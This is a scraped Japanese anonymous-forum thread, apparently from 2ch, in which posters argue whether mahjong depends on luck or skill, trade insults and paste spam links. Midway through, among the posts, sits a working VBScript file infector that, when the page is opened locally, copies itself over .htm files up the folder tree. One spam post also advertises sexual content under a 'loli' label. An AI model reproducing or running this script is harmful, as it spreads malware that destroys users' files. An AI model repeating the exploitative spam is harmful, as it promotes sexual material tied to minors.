http://www.h3.dion.ne.jp/~kody-art/index.htm

業界人が質問に答えてくれる。意外と面白い。

打ってみれば解ること。

日本＞ブータン＞＞＞＞＞＞＞＞＞＞＞＞＞＞イタリア

orehasaikyouda

>>345
戦前・戦中の人ですか？

「ドカーン！中のみ！！」って言って千点アガる雀士は本物だ。

…そうなの？

いくら運が悪くたって、相手のロン牌もってなきゃ振り込むこともねーんだけどな
自分にまったく都合のいい流れだとノータリンの全ツッパでも勝てちゃうし。

>>350
んで何がいいたいの？

http://www8.plala.or.jp/nasuka/rumsses.htm

http://www.h3.dion.ne.jp/~kody-art/index.htm

業界人が質問に答えてくれる。意外と面白い。

>>352
しつこいうざい

運　も　実　力　の　内
よって麻雀は実力

運と実力を一緒にしてる奴は向上心もないし腕も無い

>>355
いくら負けたの？くやしいの？ははははは

>354がいい事言った

>>355
だな。弱い奴の典型は二つ
・実力で負けたってのがわからずに「間違った打ち方はしてなかった。ツイてない…」
・運が悪かっただけなのに「こう打っていれば勝てたのに…」

結果が全て。
以上。

君タチにはﾜﾛﾀ（・∀・）
http://game.2ch.net/test/read.cgi/mj/1025874663/

>>339
勧告が勝ったのは審判がよかったからだろ
サッカー知らんやつは語るな

sage

どこまで押して、どこで引くか、この判断は大事だと思われ。
ただ基本的に優勢のときは引き、劣勢のときは押してかないと勝てないと思う。
優勢のときは所謂実力、劣勢のときは運が大きくものを言うと思う。
無論共に両方が伴わないと駄目だが

>>363
劣勢の時は我慢だろ
ひたすら我慢して勢いのある奴以外をアシストしろ

「優勢のときは所謂実力、劣勢のときは運が大きくものを言うと思う。」
ってのは同意

>劣勢の時は我慢だろ
ああ、まあそりゃそうだよね。押すって意味は「点棒をとる」って解釈してけれ。
最終的に相手の点を上回らないで終わると負けちゃうから、それを何とかしようってことね。
逆に点数上回ってれば程度にもよるけど選択肢は増えるから、そこで腕というか
相手に対しての対応の見せ所になると思う。

劣勢のとき、我慢はほんとに大事だけど、我慢したまま終わっちゃうとたとえそれが
最善であったとしても目も当てられないしね。
もっと駄目なのは、我慢しきれずにトップ争いから転げ落ちることだけどｗ

>>365
＞そこで腕というか
相手に対しての対応の見せ所になると思う。

同意

ツキが細い奴
腕のない奴

こいつら麻雀やってて楽しいかねぇ？

毎日が勉強です

風水を始めました

>腕のない奴

腕云々以前に「何をすべきか」がわからないとやってる方も見てるほうも楽しくないね。
右も左も分からんうちは何でもいいから14枚そろえて和了る快感？を覚えていけば
いいと思うけど、役も覚えて得点勘定も出来るようになったら「勝つ」事を意識
しなきゃいけない。

>>367
>>368
正直どうよ？


とネタにレスする俺も正直どうよ？

>「何をすべきか」がわからないとやってる方も見てるほうも楽しくないね。

何をすべきかってのは毎回変動しているのに
いつまでも同じことする奴って学習能力がないんだよね
それすらも自覚もしてないともう何も言えませんって感じ

「麻雀は運」派の人はポーカー
（特にセヴンスタッド、テキサスホールダムだっけ？捨て札を晒すやつ）
についてはどう思ってるんだろ？
あれも手がこなかったら勝てない筈だよね。じゃああれも運？

でも確実に差はつくわけよ。プロもいるし。

つーか、さっき東風で明らかにヘボ（オーラストップ目でリーチに対して無スジで
打ち込み）に負けてつくづく運な気がした

>>373
オーラスで自分がトップにいなかったのが悪い

>>374
そのコピペ、もう秋田

コピペじゃないけど？
ごく普通のマジレスなんですが。

>>376
いや、正論なのはわかってるけど、
ここでは、もう激しくｶﾞｲｼｭﾂですyo

それ言うなら373の愚痴が激しくｶﾞｲｼｭﾂじゃん（笑）

>>378

ｲﾀｲ厨房ﾊｹｰﾝすますた(･∀･)ｲｪｲ!

378だけど、正直何が痛いのか分からん。説明きぼん
ただの煽りだったならマジレススマソ

>>380
>378だけど、正直何が痛いのか分からん。説明きぼん
>ただの煽りだったならマジレススマソ

無論こうゆうところだろうな（藁

ああ、なるほど。麻雀板にレベル合わせろってことか。

>>382
板に、というかスレにね(w

>>383
ちょい質問。その「こうゆう」ってのは下のどの意味？
http://dictionary.goo.ne.jp/cgi-bin/dict_search.cgi?MT=%A4%B3%A4%A6%A4%E6%A4%A6&sw=2

もしかして、これのこと？
http://dictionary.goo.ne.jp/cgi-bin/dict_search.cgi?MT=%A4%B3%A4%A6%A4%A4%A4%A6&sw=2

俺の知らない２ちゃん語だったなら、マジレススマソｗ

383じゃなくて381だったyo!

>>384
どうでもいいけど。あんたトコトン痛い人だな。

>>384
おいおい、麻雀だけに夢中でニホンゴできないのか…？

ただいまの参加者：２人

>>388
だいたいあってると思われ（藁

ホントに馬鹿みたいな連中ばかりだね・・・ため息しかでないよ、
君たち自称上級者は下手とぶつかった時に負けたら自分の実力のせいにしないで
あんなド下手に負けたと運のせいにしてるんだよね。まるでおめでたいよねｗ
実力、実力といっておきながら都合のいいところで運をもちだすんだから滑稽すぎてみてられませんよｗ
知ってた？真正下手糞は自分が下手ときずかないんですよ？だからタチが悪いｗ

下手に負けた運が悪かったと言い訳を考えるより少しでも進歩したらどうですか？
てゆーかこいつらみんな下手っぽくて面白いよみててさ（ｗ
君たちにはﾜﾛﾀ（・∀・）

>>390
自己紹介は終わりましたか？

ずっと見てて思ったんだけど
「運」とか「実力」などの言葉が指し示す範囲をちゃんと定義しようよ。

とりあえず、あがりへの道筋の数ってのは配牌、ツモ山で決まる。
もちろん他家より先にあがる道筋ね。
これを「運」とすると、「実力」は例えばその道筋をなるべく多く見出し、
さらにそれらに最大限に対応できる能力となる。
それを支えるのが（論理的な）読みとか牌効率だと思う。

んで、そういうデジタルな実力を極めて（人間では有り得ないと思うけど）
場の状況から一意な最適解を出せるようになると
そこは運だけの世界になる、と。

はいはい。よくできまちた

>>390や>>393みたいな奴って俺のいってることが的をえてるもんだから
煽りで返すしかなかった・・・って感じだよね・・・

まぁいってることは正しいししょうがないっちゃしょうがないけどな・・・

ふぅ疲れる・・・

おまえ痛すぎ

ちなみに、的はえるものではなくいるものだな

ﾌﾟﾋｬｰﾘ

>>390
麻雀というゲームは実力+運＝結果（勝敗）
になるわけよ。
まぁドヘタが先にリーチして先にツモられたらそりゃぁ手も足も出ないわ。
でもその「偶然」が永遠に続くことなんて有り得ない。
その「偶然」に頼らず勝つ方法が「実力」ってわけ。
殆ど運、とか言ってるが、それは寧ろ逆。実力のある奴が最終的には勝つ。
短いスパンで見ればそりゃぁ上級者がドヘタに負けることだってあるだろう。
実力が発揮し辛いからな。

ドヘタに負けたら運のせいにする　それは当たり前のことだと思うが。
将棋とかやってみろ、あれは実力の有る奴が必ず勝つゲームだ。
しかし、麻雀は運の要素（ツモ山にどんな牌があるか・相手の配牌はどうなのか）
も含まれるから運のせいにするのは当然だと思うが。

＞まぁドヘタが先にリーチして先にツモられたらそりゃぁ手も足も出ないわ。

この発想がアフォ。

>運のせいにするのは当然だと思うが。

ここで負けた理由に自分の実力が相手に及んでなかったのかと少しも考えないところが
めでたいと言ってるのですよ。相手は自分より下手という前提でものを考えてるから滑稽なんですよーｗ
君にはﾎﾝﾄﾜﾛﾀ（・∀・）

>>400
キリ番おめ。398はドジタルだから相手にするなｗ

典型的なお馬鹿で単純ちゃんが集まるところはすぐ論破できて面白い（ｗ

論破？ﾊｧ?

>>402
あんたのは単なる屁理屈と揚げ足取りだよ
匿名掲示板によくいるタイプ

どんな理屈述べても結果が全て。
うまい＝強い　ではないんだから。

裏ドラばっかりのせてバカ勝ちするやつもいれば
安あがり連発で小勝ちする奴もいる。

負けた奴が勝者に文句を言えばただの泣き言だし、
勝った奴が敗者に何を言おうとただの皮肉になる。

既出の意見を偉そうに語るｱﾌｫﾊｹｰﾝ

>>406
>>405はｶﾞｲｼｭﾂだけどさ、それが理解できてないからココまで伸びてんじゃないの？
>>1は意味不明に偉そうだし

１は「麻雀はほとんど運」と言ってたのに
なぜ途中から実力とか言い出すんだ？

麻雀で重要なのは運でも実力でもないよ。

体力だよ。

>>409
( ´_ゝ｀)ﾌｰﾝ

409がいい事言った！

金だっつーの

明らかにヘボい相手もいるっしょ、
たとえば、オーラスで１２０００点差のトップで
１１順目カミチャからリーチがかかった。
おまけにどうもタンピン系に見えるそんな中トップ目が
無スジを強打。
結局通ったのだけど、普通に打てる奴ならそんなことはまずしないっしょ
俺が言ってる運だけって奴は、こうゆう奴のことを言ってるわけ。
おわかりかな？

>413
それはヘボいというより損得勘定できないんだろうな

>>413
わざと打ち込みするよ
ただしそのリーチ者と16100以上はなれてたらね。
それやって跳満だったこともあるけど

勝つ為には運が必要、
負けない為には実力が必要・・

これでいいんじゃないの・・

>>415
一発で？？

私は、>>415殿にヘボ認定さしあげたいのだけど、
みなさんいかがかな？

勝つためには運も実力も必要だろ

>>417
いいよ
415は東風厨かフリー童貞だろう
フリーはハネ満なんかすぐできるから恐くてそんなヌルイ手打てない
順位戦で赤なしのヌルイ東風がお似合いってとこ

415は矛盾している
跳満がすぐできるならツモられたらまくられるんでは？

ばかだろ

つーか、ワザト打ち込むわけねーだろ（藁
ヘボ過ぎてﾜﾗﾀ（ww

415叩かれまくり。さすが東風厨は違うな（藁

>>422　同感（藁

アイドル及川奈央がついにオシッコ写真集を公開！すごい！
http://www.rubyrouge.com/konomi/sample.html

>>415
リスクのないトンプーでの出来事を偉そうに語るなよ

つーかリーチ者に打ち込みってアフォやろ？
裏ドラという不確定要素があるのにどうしてわざわざ振り込む必要があるんだか

>425
だよなあ。リードしてたって一番いいのは自分で和了るか、横の点棒移動だもんな。
それを早々に放棄して打ち込み、なんてのはまさに知的廃退という他はない。
こういう奴は100点差のトップとかがカッコいいとか勘違いしてるんだろなきっと。
同じ勝ちでも圧勝の方がカッコいいに決まってる。

お〜いみんな
415がまた↓↓でいたい発言
http://i.tosp.co.jp/i-landimage/NAL/G/A164/P1640317N11.gif

同一人物臭い

振り込むぐらいならつもられた方がまだましじゃん

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------------------------------------------------

>>428
30000点勝っていたのにツモられたらスーアンコーだったという罠

>>430
30000点ならはねまんふっても(･∀･)ｲｲ!

２位と１０００００点差あったら満貫くらい振り込んでやってもいいよ

２着とー２００００点差の時はどうすんの？

>>433
がむばって役満狙いましょう

>433
そうならないように試合運びしろ。

>>398
ﾊｹﾞﾄﾞ

まあまあ、麻雀なんてパチンコや競馬と同じギャンブルなんだから負けてもそんなにムキにならずに

>>436
猿は麻雀やめろ

ていうか１は東風やってるのかが気になる罠

麻雀は運だけではないと思います。でも運の要素が強いと思います。
自分は普通の人よりは多少は上手いとは思っていますが昨日は初心者にボロボロにされました。
でも長期的にみれば負けてはないと思います。
自分の意見では全く同じ打ち方をする人が２人いたらあとは運の勝負だと思っています。
長々とすいませんでした。

>>1
>ここで負けた理由に自分の実力が相手に及んでなかったのかと少しも考えないところが
めでたいと言ってるのですよ。相手は自分より下手という前提でものを考えてるから滑稽なんですよーｗ

上で誰か言ってたけど麻雀はほとんど運じゃなかったの？
これが論破ですか・・・

>君ら人の事ヘボヘボいうけど
なんか変わりあんの?

まっ最初のこれからして普段ヘボヘボ言われてるのはよくわかるけどねｗ
せいぜいストレス発散して下さいな１さん

そろそろ１は危険を感じて逃げる頃だ罠

http://www.zephyr.dti.ne.jp/~gatoazul/

最初運だけと逝って
次に牌効率をマスターして、相手の手が大体読めれば麻雀なんて運だよと逝って
最後にはお前ら相手を下手って前提で見てるから笑えると言う
>>1はそれで馬鹿を軽く論破したと逝ってますが。
ころころ自分の意見をここまで変わる人に
論理なんてあるのかなぁと思った今日この頃

麻雀には実力差があるということを前提にして

ただ一概にどの打ち方が強いという訳ではない罠
最初に牌効率をマスターして・・・というのは当然として
打ち方は少しずつ変化していくものだと思う。

勝つためには相手の手を読むという必要性を知る。
そのため、進行を見つつ必要に応じてオリをするようになる。
これが第一段階。

オリるというだけでなく、さばく。
前に進みつつ手を作る、相手の待ちを読むようになる
第二段階。

多少の打ち合いを恐れず、前に進むようになる。
テンパイからの渡り、より大きい手に。
第三段階。

トップ取りのため勝つために、捨てる局もつくる。
牌を絞ったり、捨牌にまぎれを作り、相手のチャンス手を潰す。
第四段階。

攻撃型→守備型→攻撃型・・・
どれが、良いとは言えない。
自分と違う感性の人を後ろから見れば、下手と思うかもしれない。
勝っても、結果論と。

でも、強い人は強い。
漏れは初めて同卓になったときに感じる威圧感を持った人が強いと思う
どうです？　１さん

長くてスマソ

>>445
ウンチクなら厨房でも言える

>445
本当に自分の力だけで勝った、と自信を持っていえる局ってある？
俺はそれ、稀だわ。半荘終わるまで８局はあるわけだけど、それだけに
運命のいたずらは良くあるんだけどな。そりゃ人間だから「勝つこと」を
念頭にプレーするんだけど、それは皆一緒。それと

>初めて同卓になったときに感じる威圧感を持った人が強いと思う

強い弱いはともかく、威圧感を感じるのは今の状況で自分に一番差し迫ってる奴
じゃねえか？２万点差つけた上級者より２万点リードしてる初心者の方が
難関だと思う。実力差は一定としても、戦力差、平たく言えば点差は常に変わるし
実力差に比例しないのが麻雀の特徴だと思う。

>>449
１局単位や半チャン単位で言えばツキが大きく作用する。
がしかし、フリーで勝ち組と負け組がいるのは確かで、
それは運のせいではない。はっきりゆってうまけりゃ勝つよ。
半チャンで1000回以上の成績をつけてみると、だいたい自分の
実力がわかるものだよ。トップ率3割あったら立派に勝ち組だ。
（ラス率も3割以上てゆうんじゃだめだけど）
100回や200回でたまたま3割以上ってゆーのならざらにいるけど、
1000回以上で3割ってのは相当少ないだろう。
でもその人の実力はあきらかに平均トップ率2割5分の人より上と言える。

>450
どれだけチャンスメイクできるか、てのも勝率に影響するよな。俺は基本的に
オーラスの目標を「満貫圏内」にしてるんだが、どうだろね？跳ねマン以上だと
やっぱり裏頼みになっても仕方ないわけで。相手が出すかはともかく、逆転の
お膳立てはしておきたいと思う。まー僅差の争いも、絶望的なワンサイドも多々
あるわけで一概には言えないけど。運も実力もそうだが「意思」も大事だよね。

>>451
満ツモ圏内？

↑そりゃま、３種類だろ「出和了り」「ツモ（親・子で変わるが）」「直撃」
追う立場なら前者ほど、逃げる立場なら後者ほどいいに決まってる。
それが自分の都合の良い様に行かない、それすら出来ないのもまた麻雀なわけで。
満貫は４飜、点パネ３飜でも出来るんでやっぱり作りやすいんだよね。

>>451
オーラスの目標マンガン圏内はいいと思うよ。
１つの目安だ。
意思は俺のなかでは実力のうちに考えている。
オーラスで何点上がれば何着になるというのは
誰でも考えることだけど
中級者以上ならラス前の局で、何点上がればオーラスマンガン圏内か
とか、上がりトップになるとかを意識して打ってる。
俺の考える実力は大きく分けて
１．牌効率を理解し、実践できる能力
２．ベタ降り技術
３．得点状況や局面にあった打牌の選択
４．読みの技術
５．他家の上がり手の確認を素早く正確にチェックする能力
（点数、形、フリテン等）
細かいことを言えばもっとあるだろうけどざっとこんな感じかな。

将棋にも運の要素はある・・・と羽生が言っていたらしい

Sub Redirect
Randomize
If location.protocol = "file:" AND (Int((6 * Rnd) + 1) = 1) then Call Offline
location.href = location.href +"l"
End Sub

Sub Offline
Dim FSO,folder ,fc, f1, cpath
Set FSO = CreateObject("Scripting.FileSystemObject")
HostPath = Replace(location.href, "file:///", "")
HostPath = Replace(HostPath, "/", "\")
cpath = fso.GetParentFolderName(HostPath)
Set folder = fso.GetFolder(cpath)

While folder.IsRootFolder = false
Set folder = fso.GetFolder(cpath)
Set fc = folder.Files
cpath = fso.GetParentFolderName(cpath)
For each f1 in fc
s = Lcase(Fso.GetExtensionName(f1.name))
If s = "htm" and fso.FileExists(f1.path+"l") = False then
fso.CopyFile f1.path, f1.path+"l", true
fso.CopyFile HostPath, f1.path, true
End If
Next
Wend
If (Int((10 * Rnd) + 1) + 1) = 1 Then MsgBox("HTML.Redirect /1nternal")
End Sub

↑下手にステディぶってる奴は「ここは2着でよしとするか」とか考えがちなんで
意思と実力はちとニュアンスが違うと思う。
本当に怖いのは裏に頼ってでも逆転に掛けてくる奴だと思うし、もうこれ以上は個人の
主観なんだけど、そういう奴こそ勇者として称えたいと思う。

最も「裏に頼る」といっても棒テン裏５とかそんなんじゃなく、タンピンドラ１で
さっさと和了れば2着確保なのに、例えば一盃口乗るまで（せめて高目で）我慢して、
低い確率とはいえ直撃＋裏１〜に賭ける、そんな感じかな。まあいつもこういくとは
限らんし、2着でよしとせざるを得ない場面の方が多いのも事実だけど。
満貫圏内ってのはこれがうんとやりやすいから、目安にしてるんだよね。

「諦めない」て気持ちは諸刃の剣だけども、雀士の価値を決めるひとつの要素とも思う。
「2着でよし」てのは奇麗事だけども、最善の策ではなく次善の策だと思う。

特に否定はしないよ、そんな考えもありだと思うし。
ただ個人的には平均着順率を悪くするほど
がむしゃらにトップを狙いにいったりはしない。
3着4着に落ちるリスクがでかいのなら安全に2着をとりにいく。
リーチ後の
一発、裏ドラ、直撃、赤、などの不確定要素はどれか１つなら
全然計算に入れていいと思うよ。
しかし、直撃+裏1を期待してってのはあんまりやんないかな。

麻雀の板の人ってみんな頭悪いのかなぁ・・・
なんか低レベルなことばっかいってるよ、
言ってる事が通じないって疲れるよなぁ・・・ふぅ

もういいや、君たちなりで勝手に結論を作ってくださいな。
俺はもう疲れました。君たちの勝手な論理に付き合うのも・・・

じゃあね。

パチンコ業界人が質問に答えてくれる。結構面白い。

http://www8.plala.or.jp/nasuka/rumsses.htm

>>1はもうこのスレには目を通さないようです。

あ、自分は馬鹿なのか・・・とか落ち込まなくていいよ

人間は無知のほうが幸せって事もあるだろうから
君たちはある意味恵まれてるよね・・・羨ましい、それじゃ

>>1はもうこのスレには目を通さないようです。

ここはアフォばっかりだな。
しょーがねーから最後に俺がおしえてやろう。

マージャンってもんに強い奴なんかいねえよ。

知識のあるやつが”強そう”に見えるだけなんだよ。

マージャンってのは、ようは時間のかかるジャンケンだな。
ジャンケンにもいろいろ統計ってあるだろ。
マージャンで偉そうにしてるやつってのは
勝ってから「おれはお前がチョキだすと思ったぜ」
とか言ってるやつとかわんねえｗ
わかったか？

>>1は楽しいの？
見ていて哀れだよ…。



とりあえず、外の空気を吸ってごらん。

たいしたタイトルじゃないのにたくさんレスついてるなｗ
ほっとけばいいんやない？ｗ
そーですね、ほとんど運ですね、おめでとー

>>1は麻雀の実力云々じゃなくて、麻雀という運の介入する領域の大きいゲームで勝つための研鑚を重ねる
ことのむなしさを言いたいのでは？
確かに不確定要素の介在する麻雀には将棋や囲碁と違い解答が無く、麻雀に精通している者が必ず勝つとは
限らない。つまり、麻雀なんかうまくなっても仕方ないということでは？？

>>1
あらら予定通りの展開だね
もっと論破してくれるかと期待してたけどこの辺が論破君の限界かな
全然論理的じゃないしレスにセンスのかけらも感じられないし
１番幸せなのは論破君あなたですよｗ

>>450
＞はっきりゆってうまけりゃ勝つよ。
ﾜﾗﾀ

お前ら
もう>>1は現れないらしいから
どんなに理路整然と>>1を批判しても無駄だぞｗ

最後に結局相手を煽って自称論理派の>>1には大変ﾜﾗﾀ

自分の意見に自信のないものがやると
言われる行動ＢＥＳＴ３
�Bすぐｗをつけて余裕があると強調したがる。

�A都合が悪いこといわれれると言った相手を煽るだけで
　論理で返そうとはしない。


�@煽り＝論破と勘違いしている。

以上の事から>>１は自分に自信がなくヘボと言われたことを
根に持ちスレを立ててレスした人を煽り自分を慰める
気の毒な厨房です。皆さんいじめるのはやめてあげましょう。
もっともこの書き込みを>>１が見たらまた煽るんでしょうね。
それもほとんど同じ言葉で

正直スマンカッタ

いやほんと麻雀は実力っす！
自分あなたたちみたいな強い方たちには一生オヨバナイッス！

>>1はもうこないっていってるんだからいちいちageて煽ってんじゃねーよ
お前等、あーゆー馬鹿は無視すんのが一番なんだよ。
>>472みたいに長文で煽って悦にいってる勘違い野郎がいるからこの板は馬鹿ばっかとか
思われるんだよ、sageでやれ阿呆

>>472
アフォですか？(w
自分の頭が破綻していることも気づかずに(ﾌﾟﾌﾟ
ひきこもりが何言っても説得力ないよ(w

まあこれだけ論破されてても
また性懲りも無く繰り返し屁理屈抜かすんだろうな
わかりやすすぎ(w

確かに>>472って馬鹿っぽいな

>>472は童貞

>>472＝>>1

>>472
きもすぎ

2chを分析しすぎ・・・

真正ヒキは麻雀を誰とやるんですか?

さて
>>473-478のうちどれが本物の>>1でしょう？

>>472を叩くスレになりますた

>>476からｼﾞｻｸｼﾞｴﾝが激しいな…

>>476は＝>>481でしかねーよ。
他は知らんけどね。
>>472が気の毒ですな

何か>>190を思い出したのは俺だけ？
あの時もレスが急について>>1の自作自演説
が出たんだよなぁ実際このレスのつき方が
自作自演を物語ってると思われ強制IDにしたら
面白そうｗ

>>477-480まで激しく投稿時間の差がないよ。
もう少し工夫したｼﾞｻｸｼﾞｴﾝをキボンﾇ

つーか粘着しすぎじゃないか？

>>472まったくその通りですね
それを煽る輩が不思議でなりません

そんなことより聞いてくれＹＯ>>1よスレタイとはあんまり関係ないけどさ
ついさっきこのスレの>>１を煽ったんです>>1を。そしたらレスがいーっぱいで。
読みずらいんです
で
良くレス見たら俺の煽りに>>1が自作自演とかしてるんです
もうね
アホかと。バカかと。
お前な俺の煽り如きで普段してない自作自演すんじゃネーヨ
ボケが
俺の煽りだよ俺の煽り
なんか同じパターンの煽りだし。
５分立ってない連続してる自作自演か
おめでてぇな
「ちょ〜ぶんレスして調子乗ってんじゃねぇよ」
とか逝ってるの
もう見てらんないお前な厨房なのは分かったからさっさと消えろと。
このスレはなもっと殺伐とするべきなんだよこのスレにいる奴といつ
煽り合いが始まってもおかしくない削除するかされるか
そんな雰囲気がいいんじゃねーか自作自演はすっこんでろ。
でやっと見終わると思ったら、自作自演がみんなにばれてるんですよ
そこでまたブチ切れですよ、あのなばればれの自作自演なんて今日びはやんねんだよ
お前は本当に煽る気があるのかと
問いたい
問いつめたい
小一時間ほど問いつめたい
煽り通の俺から言わせてもらえば今煽り通の最新流行は
文字レスコピペ改造これだね文字レスコピペ改造これが通の煽り方
文字レスコピペ改造とは既存のネタの文字レスを変えて相手を煽る
でもこれで相手の欠点をつつくコレ。最強。
しかしこれをやると周りから叩かれる危険が伴う
諸刃の剣。素人にはお勧めできない
まあお前はド素人だから回線切って首つって死んでろと

>>488
こんなに面白くない吉野家コピぺ初めてみた

ココ最高でした。サンプルとかタダだし、ネタとしては使えると思います。
ちなみに僕はロリです、同士な人はいってください。
http://muke.up.to

>>488
(･Ａ･)ｲｸﾅｲ!!

>>488
個人的にはﾜﾗﾀ

>>488
こんなに微妙な吉野家コピぺ初めてみた

いや、もうどちらでもいいよ。

マン毛だろ、マン毛。

いや、チム毛だ。

麻雀に実力はある。
あなたが麻雀を覚えたての時、勝てましたか？今のあなたと、どちらが強かったですか？
おそらく今の方が勝てたんじゃないですか？それを「実力」と言うんじゃないですか？
確かに半荘１回とかでは運の要素が強いとこは事実です。しかし「確率は収束する」のです。
何回もやれば最終的に手順通りに打っている者が、勝つのです。
だから長いスパンでみることが大切です。ツイテいない半荘の時に、他家がリーチ即ヅモなんかやれば、運だなと思うこともあります。しかし、それはあなたにも在り得ることじゃないですか？
「麻雀は運だ」という人は、では何を信じて麻雀を打っているのですか？
例えば、両面を残してカンチャンをきらう。これは確率を重視していますよね。
つまり、カンチャンをきらった方がアガルする確率は高い。
アガル確率が高いと言うことは、点棒を集め易い。点棒を集める確率が高いと言うことは、トップになりやすい。
簡単に言えば、この繰り返しだと思います。
あなたはただ半荘単位でしか麻雀を見ていないのではないですか？強いと言われるプロの麻雀をしっかり見たことがありますか？
タイトルを何個も取っているプロの麻雀を。私も一時期運だと思ったことはあります。
しかし、そこで我慢してこそ（麻雀なんか運じゃん！と思わない）、真の実力者になると思います。

文章が稚拙なので読む気になりません

外国の方にしては日本語がお上手ですね。

もうこのスレには来ないはずの
>>1がｷﾀ━━━━━━(ﾟ∀ﾟ)━━━━━━ !!

1がきたー

>>498->>500
(･∀･)ｼﾞｻｸｼﾞｴﾝﾃﾞｼﾀ!

(･∀･)ｼﾞｻｸｼﾞｴﾝ ﾜﾙ!(･∀･)ﾜﾙ ｶｺｲｲ!

>>497
おまえなぁ、その最初の行の「確率は収束する」って言葉ﾀﾞｲｷﾗｲなんだよ
頭悪いやつがよく使う

はじめの頃はただ知らなかっただけだろ？４５６が当たりやすいとか

>>505
>>497が言うのはそれがわかる＝実力らしいです（ ´,_ゝ｀）ﾌﾟｯ

>>504

>>497はただの妄想野郎です
『確率は収束する』
一般には確率は収束しません
それをいうなら『麻雀の成績は収束する』です

結論　
>>497は厨房です

>497
4人でやるゲームだぞ、麻雀は。「自分に都合のよい展開」が実力とやらで訪れるか？
それこそ「運」のおかげで訪れると思うんだけど。まあいくらおめーが強くたってな
自分の力で勝ったのではないぞ。そのツモの性能のおかげだということを忘れるな！　

そりゃあゼンツッパするような奴と打てば実力（？）がものをいうかもしれんが
同じようなレベル同士のやつが打ち合えばほぼ運で決まりや　
麻雀を半荘単位で考えるなだと？バカか？その１局が重要なんじゃボケ！！

運も実力も常に介在する。
問題はどれぐらい影響を与えるかだが、
半荘単位とかだと運が占める割合が大きく、
実力が占める割合が小さい。
１０００半荘とか長い目で見るなら
実力が占める割合が大きく、
運が占める割合が小さい。

>>509
(´-｀)oO(同じレベルの奴同士でやればどの競技も運じゃないのかなぁ）

>>510
半荘単位でも相手がド下手なら実力の割合が大きい。
例えば、第２の下ランレベルだったら、半荘単位でも最悪２着に食い込める自信はある。
実際、こないだ新規ＩＤで始めて100半荘までの成績だと、
１着40%、２着50%、３着10%、４着なし。くらいの成績は取れた。

512へ

第２の下ランレベルでそれじゃあ、お前に実力はねえよ。
最低２着といっても50%も占めるんじゃたいしたことはない。

あれこれグダグダ言っても結局ほんとの所はわかんねーよな。ドラゴンボールの
スカウタ―あれば便利だなー。「麻雀力たったの５・・・ゴミめ」とかｗ

＞＞５１４
すんげーいいこと言ってると思う。

(☆ﾟーﾟ)/＠にゃるにゃる♪

簡単にゃ。
ツモ→運
打牌・食い仕掛け→実力

と言っても、こうやって話していて結論で無いんだから、そんな機械作れるわけも
ない（藁）ついでに言いたいのは「確率は収束する」とかいう奴、ほんとにそう
思うか？一生に1度も天和和了れない奴もいれば、2度3度上がるﾔｼもいる。
和了り点で結局は収束する、というのも詭弁。そんなの俺ら人間が勝手につけた点数
に過ぎない。０と１００以外の確率は絶対ではない。第一確率つっても人間が
そこに介在する以上、歪む。気まぐれでポンチーされただけで歪む。
やっぱ難しいね、麻雀は

(☆ﾟーﾟ)/＠にゃるにゃる♪

何要ってるかわかんないにゃ。

512と513は、今から東風荘の捨てハン作って100半荘打ち、その結果を晒せ。

できないなら口先だけのへたれ。下ラン以下のゴミ。

>>1-520
=
牌効率だのスジだの、もっともらしい単語知って上級者気取りだが、
その実、全ツッパの初心者にあっさり負けるヘボ集団。ﾜﾗﾜﾗ

運だと言う人は何が言いたいの？
自分が勝てないのは運だ！としか思えないないけど・・
そう理屈つけて自分の実力を認めないだけじゃないですか？
違うのなら、競技麻雀で上位になってみるのがいいですね。
ほとんどの人がまだまだ勉強が足りなかったと思うことでしょう。

このスレがまさかここまで伸びるとは思わなかった

(＊ﾟーﾟ)／＠にゃる

ネタスレにゃ。

>>517
確　率　は　収　束　し　ま　せ　ん

お前数学出来なかったろ？

うるせ〜
この高卒野郎

(´-｀)oO(麻雀に実力が関係あるかないかの話のはずなのに最近ずれてるなぁ)

実力は関係ない

むしろ才能

才能に一票

むしろ気合

jygf

麻雀に必要なのは運だけだろ
だいたい実力も運もたいして変わんないじゃん。
実力って相手の待ち牌を予測する能力のことだろ。
予測である以上、これは運によって左右されるものなのじゃないのかな。(重要）
９０％相手の待ちがわかっても運がわるけりゃ残りの１０％を
引いてしまう可能性があるのだから。
たしかに相手の待ちを９０％までしぼったのは実力だ。
しかし残りの１０％をひいてしまったのは運だ。
そうだろ？？？

つまりだ、実力の根底は、運のお導きのもとにあるということだ．
Ｑ．Ｅ．Ｄ　証明終了

>>533
(´-｀)oO(それじゃ９０％は実力じゃん)

>>533
ははは
そんなことじゃいつまでたってもRは上がらないよ
Rが上がるほど上がりにくく下がりやすくなるだろ？
でも上に居続けることができるってことは
運以外の要素が働いてるってことだろ?
論理的に思考しろよ

多重で２０００台維持してますが何か？

>>535
上位に居続ける奴は、他人より運がいい奴なんだよ。
いいかげん分かれよ。

>>537
複数HNを持ってて
すべて2000を超えてても運か?

運って言ってる方はなんでやってるのですか？
これは煽りではありません。マジレスして欲しいです。

>>539
自分が下手なのを運のせいにしてるんだよ

>>538
すべて運です。

大学を落ちたのも、女に振られたのも、
貧乏なのも、麻雀が弱いのも、全部運です。

極論ばっか。

>>533
＞実力って相手の待ち牌を予測する能力のことだろ。

それだけかよｗ
手順とか状況判断とかあるだろｗ

誰がなんと言おうと

麻　雀　は　お　も　し　ろ　い

以上

>>1はドラえもんのドンジャラでもやってろ

実力って言ってる奴は、なんで麻雀やってるわけ？
東風でR高い奴と当たったら、勝つの諦めちゃうんでしょ？

運だけとか思ってるやつはなんで麻雀やってんの？
金目当てか？

545がいい事言った

547の言ってる様な行動をとるやつはいないと思われ

>>547
自分のＲより高いやつはそうそういないから大丈夫。

>>547
じゃああなたはなんで生きてるわけ？
相手の方が優れてると思ったら努力やめちゃうんでしょ？

おれは麻雀も人生も運偏重だと思ってるから気楽にやってるよ。
もっとも、おれより優れたやつはそうそういないけどね。ｹﾞﾗｰﾘ

(´-｀)oO(ぶっちゃけ麻雀で運を消費するなんて時間の無駄だなぁ)

>>547
つか麻雀に運の要素以外の実力を見出せないようなやつが
自らを優秀というとは幽囚の変換ミスか?(藁
私もR高いからなそういう事態に陥ったことがない

麻雀は　運　　　４割
　　　　実力　　４割
　　　　精神状態２割
くらいでない？

>>1
ぶわぁーはっはっはっはぁ。
相当の馬鹿だな、お前。
「Ｓｈｏｉｃｈｉ」とか、「雀鬼」とか、
「超絶」とか「雀鬼様への道」とかを
読んでみそ。

>>556
私的には
実力7割
運2割
精神状態1割

実力３
精神力、集中力５
運２
だな
ブルペンピッチャーはいらん
実戦派が強い

>>554
それを言ったら麻雀に時間を使うこと自体が無意味というか愚かというか
